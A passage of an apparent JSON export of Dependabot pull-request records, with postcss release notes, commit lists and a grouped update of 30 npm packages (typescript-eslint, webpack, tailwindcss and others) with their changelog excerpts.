href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed declaration parsing performance (by \u003ca href=\"https://github.com/homanp\"\u003e\u003ccode\u003e@​homanp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c4ac725d5920916d35be44002b49b7f66f8b1dc8\"\u003e\u003ccode\u003ec4ac725\u003c/code\u003e\u003c/a\u003e Release 8.5.20 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c30586d7863d0563e2f2707bd89461636e37f6f6\"\u003e\u003ccode\u003ec30586d\u003c/code\u003e\u003c/a\u003e Fix missing space when AtRule#params is set after parsing (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2113\"\u003e#2113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/5bfc3b9e7463936fdd4898f92dd43c358bfdef62\"\u003e\u003ccode\u003e5bfc3b9\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/24733fdbfe9abe4a949eb0a10e53db8c87fc9277\"\u003e\u003ccode\u003e24733fd\u003c/code\u003e\u003c/a\u003e Move back to latest 11 pnpm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/728127c427e076ae15f4b4107cae29f9e60d2db4\"\u003e\u003ccode\u003e728127c\u003c/code\u003e\u003c/a\u003e Update pnpm to check that CI is fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/806fe21198e210cc85fd87d4afd0c949b04e0c1f\"\u003e\u003ccode\u003e806fe21\u003c/code\u003e\u003c/a\u003e Rebuild nodes from another PostCSS copy in Warning (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2112\"\u003e#2112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/337cb7ef092da6066ec845973af243ed8e378550\"\u003e\u003ccode\u003e337cb7e\u003c/code\u003e\u003c/a\u003e Improve CI security\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a8ca2d0e5044fbde3df33e2b9730c14528270e3\"\u003e\u003ccode\u003e7a8ca2d\u003c/code\u003e\u003c/a\u003e Remove patch after updating dependency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.14...8.5.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.14\u0026new-version=8.5.20)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/yujiangxian/nuwa/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yujiangxian%2Fnuwa/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"}},{"old_version":"8.5.15","new_version":"8.5.17","update_type":"patch","path":null,"pr_created_at":"2026-07-19T02:19:53.000Z","version_change":"8.5.15 → 8.5.17","issue":{"uuid":"4920933201","node_id":"PR_kwDODt_2X87zc2Je","number":2912,"state":"open","title":"Chore(deps): Bump the minor-and-patch group across 1 directory with 30 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T02:19:53.000Z","updated_at":"2026-07-19T02:21:57.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Chore(deps): Bump","group_name":"minor-and-patch","update_count":30,"packages":[{"name":"@typescript-eslint/eslint-plugin","old_version":"8.61.0","new_version":"8.63.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.61.0","new_version":"8.63.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@vercel/ncc","old_version":"0.44.0","new_version":"0.44.1","repository_url":"https://github.com/vercel/ncc"},{"name":"eslint","old_version":"10.6.0","new_version":"10.7.0","repository_url":"https://github.com/eslint/eslint"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"react-i18next","old_version":"17.0.8","new_version":"17.0.9","repository_url":"https://github.com/i18next/react-i18next"},{"name":"ts-loader","old_version":"9.6.0","new_version":"9.6.2","repository_url":"https://github.com/TypeStrong/ts-loader"},{"name":"webpack","old_version":"5.107.2","new_version":"5.108.4","repository_url":"https://github.com/webpack/webpack"},{"name":"eslint-plugin-jsdoc","old_version":"63.0.11","new_version":"63.0.13","repository_url":"https://github.com/gajus/eslint-plugin-jsdoc"},{"name":"@docusaurus/core","old_version":"3.10.1","new_version":"3.10.2","repository_url":"https://github.com/facebook/docusaurus"},{"name":"@docusaurus/preset-classic","old_version":"3.10.1","new_version":"3.10.2","repository_url":"https://github.com/facebook/docusaurus"},{"name":"styled-components","old_version":"6.4.2","new_version":"6.4.3","repository_url":"https://github.com/styled-components/styled-components"},{"name":"@amplitude/analytics-browser","old_version":"2.44.4","new_version":"2.44.5","repository_url":"https://github.com/amplitude/Amplitude-TypeScript"},{"name":"@amplitude/experiment-js-client","old_version":"1.21.2","new_version":"1.21.3","repository_url":"https://github.com/amplitude/experiment-js-client"},{"name":"@ledgerhq/hw-app-str","old_version":"7.7.4","new_version":"7.7.5","repository_url":"https://github.com/LedgerHQ/ledger-live"},{"name":"@ledgerhq/hw-transport-webhid","old_version":"6.35.4","new_version":"6.36.0","repository_url":"https://github.com/LedgerHQ/ledger-live"},{"name":"@radix-ui/react-dialog","old_version":"1.1.16","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.16","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@sentry/browser","old_version":"10.63.0","new_version":"10.65.0","repository_url":"https://github.com/getsentry/sentry-javascript"},{"name":"@tailwindcss/postcss","old_version":"4.3.1","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@types/chrome","old_version":"0.1.43","new_version":"0.2.2","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/node","old_version":"26.1.0","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"i18next","old_version":"26.3.4","new_version":"26.3.6","repository_url":"https://github.com/i18next/i18next"},{"name":"jest-canvas-mock","old_version":"2.5.2","new_version":"2.5.8","repository_url":"https://github.com/hustcc/jest-canvas-mock"},{"name":"react-router-dom","old_version":"7.17.0","new_version":"7.18.1","repository_url":"https://github.com/remix-run/react-router"},{"name":"semver","old_version":"7.8.4","new_version":"7.8.5","repository_url":"https://github.com/npm/node-semver"},{"name":"tailwindcss","old_version":"4.3.1","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@playwright/test","old_version":"1.61.0","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@sentry/webpack-plugin","old_version":"5.3.0","new_version":"5.4.0","repository_url":"https://github.com/getsentry/sentry-javascript-bundler-plugins"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.17","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 30 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.61.0` | `8.63.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.61.0` | `8.63.0` |\n| [@vercel/ncc](https://github.com/vercel/ncc) | `0.44.0` | `0.44.1` |\n| [eslint](https://github.com/eslint/eslint) | `10.6.0` | `10.7.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n| [react-i18next](https://github.com/i18next/react-i18next) | `17.0.8` | `17.0.9` |\n| [ts-loader](https://github.com/TypeStrong/ts-loader) | `9.6.0` | `9.6.2` |\n| [webpack](https://github.com/webpack/webpack) | `5.107.2` | `5.108.4` |\n| [eslint-plugin-jsdoc](https://github.com/gajus/eslint-plugin-jsdoc) | `63.0.11` | `63.0.13` |\n| [@docusaurus/core](https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus) | `3.10.1` | `3.10.2` |\n| [@docusaurus/preset-classic](https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus-preset-classic) | `3.10.1` | `3.10.2` |\n| [styled-components](https://github.com/styled-components/styled-components) | `6.4.2` | `6.4.3` |\n| [@amplitude/analytics-browser](https://github.com/amplitude/Amplitude-TypeScript) | `2.44.4` | `2.44.5` |\n| [@amplitude/experiment-js-client](https://github.com/amplitude/experiment-js-client/tree/HEAD/packages/experiment-browser) | `1.21.2` | `1.21.3` |\n| [@ledgerhq/hw-app-str](https://github.com/LedgerHQ/ledger-live) | `7.7.4` | `7.7.5` |\n| [@ledgerhq/hw-transport-webhid](https://github.com/LedgerHQ/ledger-live) | `6.35.4` | `6.36.0` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.16` | `1.1.19` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.16` | `1.1.19` |\n| [@sentry/browser](https://github.com/getsentry/sentry-javascript) | `10.63.0` | `10.65.0` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.1` | `4.3.2` |\n| [@types/chrome](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/chrome) | `0.1.43` | `0.2.2` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.1.0` | `26.1.1` |\n| [i18next](https://github.com/i18next/i18next) | `26.3.4` | `26.3.6` |\n| [jest-canvas-mock](https://github.com/hustcc/jest-canvas-mock) | `2.5.2` | `2.5.8` |\n| [react-router-dom](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom) | `7.17.0` | `7.18.1` |\n| [semver](https://github.com/npm/node-semver) | `7.8.4` | `7.8.5` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.1` | `4.3.2` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.61.0` | `1.61.1` |\n| [@sentry/webpack-plugin](https://github.com/getsentry/sentry-javascript-bundler-plugins) | `5.3.0` | `5.4.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.17` |\n\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.61.0 to 8.63.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.0\u003c/h2\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8d8fda638b9cb5874c5bfd8b13da7ec8b74dd0f8\"\u003e\u003ccode\u003e8d8fda6\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/fec4f4f0fb8fa7318c60ec59f59bf2b710314b34\"\u003e\u003ccode\u003efec4f4f\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/fb3da7974e00d119493a7170e34b76b2a9051f85\"\u003e\u003ccode\u003efb3da79\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained c...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/dd020578ed417b844b1d03a70be42a126d51cbb5\"\u003e\u003ccode\u003edd02057\u003c/code\u003e\u003c/a\u003e docs: [no-base-to-string] clarify ignoredTypeNames description (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12488\"\u003e#12488\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/5b224e79c59897a5580540a561a492f83b6d8836\"\u003e\u003ccode\u003e5b224e7\u003c/code\u003e\u003c/a\u003e docs: [ban-ts-comment] clarify that 